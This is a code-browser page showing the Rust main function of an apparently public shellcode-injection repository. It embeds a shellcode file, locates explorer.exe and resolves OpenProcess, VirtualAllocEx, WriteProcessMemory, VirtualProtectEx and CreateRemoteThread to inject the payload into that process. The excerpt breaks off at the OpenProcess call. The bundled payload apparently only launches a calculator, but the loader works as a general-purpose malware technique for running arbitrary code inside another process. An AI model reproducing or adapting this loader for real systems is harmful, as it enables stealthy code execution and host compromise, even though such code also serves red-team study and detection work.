MCPcopy Create free account
hub / github.com/b1nhack/rust-shellcode / main

Function main

create_remote_thread_native/src/main.rs:14–114  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

12
13#[cfg(target_os = "windows")]
14fn main() {
15 let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin");
16 let shellcode_size = shellcode.len();
17
18 let mut system = System::new();
19 system.refresh_processes();
20 let pid = system
21 .processes_by_name("explorer.exe")
22 .next()
23 .expect("[-]no process!")
24 .pid()
25 .as_u32();
26
27 unsafe {
28 let kernel32 = Library::new("kernel32.dll").expect("[-]no kernel32.dll!");
29
30 let get_last_error: Symbol<unsafe extern "C" fn() -> u32> = kernel32
31 .get(b"GetLastError\0")
32 .expect("[-]no GetLastError!");
33
34 let open_process: Symbol<unsafe extern "C" fn(u32, i32, u32) -> isize> =
35 kernel32.get(b"OpenProcess\0").expect("[-]no OpenProcess!");
36
37 let virtual_alloc_ex: Symbol<
38 unsafe extern "C" fn(isize, *const c_void, usize, u32, u32) -> *mut c_void,
39 > = kernel32
40 .get(b"VirtualAllocEx\0")
41 .expect("[-]no VirtualAllocEx!");
42
43 let write_process_memory: Symbol<
44 unsafe extern "C" fn(isize, *const c_void, *const c_void, usize, *mut usize) -> i32,
45 > = kernel32
46 .get(b"WriteProcessMemory\0")
47 .expect("[-]no WriteProcessMemory!");
48
49 let virtual_protect_ex: Symbol<
50 unsafe extern "C" fn(isize, *const c_void, usize, u32, *mut u32) -> i32,
51 > = kernel32
52 .get(b"VirtualProtectEx\0")
53 .expect("[-]no VirtualProtectEx!");
54
55 let create_remote_thread: Symbol<
56 unsafe extern "C" fn(
57 isize,
58 *const c_void,
59 usize,
60 *const c_void,
61 u32,
62 *mut u32,
63 ) -> isize,
64 > = kernel32
65 .get(b"CreateRemoteThread\0")
66 .expect("[-]no CreateRemoteThread!");
67
68 let close_handle: Symbol<unsafe extern "C" fn(isize) -> i32> =
69 kernel32.get(b"CloseHandle").expect("[-]no CloseHandle!");
70
71 let handle = open_process(PROCESS_ALL_ACCESS, 0, pid);

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected